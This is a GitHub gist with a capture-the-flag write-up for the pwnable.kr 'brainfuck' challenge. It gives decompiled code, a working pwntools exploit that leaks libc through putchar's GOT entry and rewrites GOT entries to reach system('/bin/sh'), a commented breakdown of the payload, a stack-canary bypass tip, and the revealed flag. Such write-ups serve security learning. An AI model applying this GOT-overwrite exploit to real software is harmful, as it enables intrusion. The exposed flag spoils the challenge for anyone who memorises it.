Skip to content

Instantly share code, notes, and snippets.

@ihciah
Created November 25, 2015 01:12
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ihciah/722643bbfe93207e5dbd to your computer and use it in GitHub Desktop.
Save ihciah/722643bbfe93207e5dbd to your computer and use it in GitHub Desktop.
Pwnable.kr brainfuck writeup

Pwnable.kr brainfuck writeup

ihciah@gmail.com

Load bf with IDA:

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  int v4; // edx@4
  size_t i; // [sp+28h] [bp-40Ch]@1
  int v6; // [sp+2Ch] [bp-408h]@1
  int v7; // [sp+42Ch] [bp-8h]@1

  v7 = *MK_FP(__GS__, 20);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(&v6, 0, 1024u);
  fgets((char *)&v6, 1024, stdin);
  for ( i = 0; i < strlen((const char *)&v6); ++i )
    do_brainfuck(*((_BYTE *)&v6 + i));
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

do_brainfuck:

int __cdecl do_brainfuck(char a1)
{
  int result; // eax@1
  int v2; // ebx@7

  result = a1;
  switch ( a1 )
  {
    case '>':
      result = p++ + 1;
      break;
    case '<':
      result = p-- - 1;
      break;
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(_BYTE *)p);
      break;
    case ',':
      v2 = p;
      result = getchar();
      *(_BYTE *)v2 = result;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

checksec using checksec --file bf:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes	0		4	bf

We can move a pointer and write value at that address using ,, also, we can use . to read data from it. So we can leak libc address, we can replace given function with the function in libc.

Since we cannot change the string "[ and ] not supported." in .rodata, so it may be not easy to modify puts's got table to system. The function putchar is not suitable either, because the parameter is a char instead of pointer.

Here I modify putchar's got table to let it jump to _start, and let memset be gets, fgets be system.

➜  ctf  python bf.py
[+] Opening connection to pwnable.kr on port 9001: Done
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ cat flag
BrainFuck? what a weird language..
$ id
uid=1008(bf) gid=1008(bf) groups=1008(bf)
from pwn import *
#ihciah@gmail.com
libc = ELF('/home/c/ctf/libc.so.6')
bf = remote('pwnable.kr', 9001)
bf.recvline_startswith('type')
bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.')
bf.recv(1)
x=bf.recv(4)[::-1]
jump=0x080484E0
bf.send(p32(jump))
system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system']
gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets']
bf.send(p32(system))
bf.send(p32(gets))
bf.sendline('/bin/sh\x00')
bf.interactive()
@paruchuri
Copy link

Hello,
It would have been good, if you have explained in detail of how you get control over IP(Instruction Pointer) with following input. '<'_112+'.'+'.>'_4+'<'_4+',>'4+'<'(4+32)+',>'_4+'<'_4+'>'_28+',>'*4+'.'

Thank you.

@lucasduffey
Copy link

lucasduffey commented Mar 29, 2018

'<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.' broken down

# default pointer value
p = 0x804a0a0 

# subtract 112 from ptr to point to putchar@GOT
'<' * 112 

# leak a byte
'.' 

# leak putchar@GOT pointer to calculate libc base address
'.>' * 4 

# p = putchar@GOT
'<' * 4 

# overwrite putchar@GOT to _start (0x080484E0)
',>' * 4 

# p -= 36 (fgets@GOT)
'<' * (4+32) 

# overwrite fgets@GOT to point to system
',>' * 4 

# p -= 4 (fgets@GOT)
'<' * 4 

# p += 28 (memset@GOT)
'>' * 28 

# overwrite memset@GOT ptr to point to gets
',>' * 4 

# call putchar, which now jumps to _start
'.' 

@M-Golyani
Copy link

Just in case you can't get the shell because of *** stack smashing detected ***:
One may also need to overwrite the address of __stack_chk_fail@plt with some other address (ex. the address of the next instruction after it).
If you overwrite the "putchar" with some other address in main, you will likely end up with an untidy stack frame (because you will not let the do_brainfuck() function to perform the return and cleanup {popping stuff out of the stack}).
With this untidy stack, the SSP will not find the correct "CANARY" in the stack and will raise the ABORT signal which causes the process to exit and so no interactive session would stay alive.
Therefore, by also overwriting the address of __stack_chk_fail@plt to something benign, you will get the shell.

@PabloMansanet
Copy link

What's the reason for the early 1 byte leak at line 7? I tried to do away with that line but the recv(4) won't work without it. What's the reason?

Thank you for the amazing writeup!

@omer-biz
Copy link

omer-biz commented Jan 9, 2022

You've probably figured it out by now, but the answer is you have to call putchar before leaking it because of lazy binding (partial relro).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment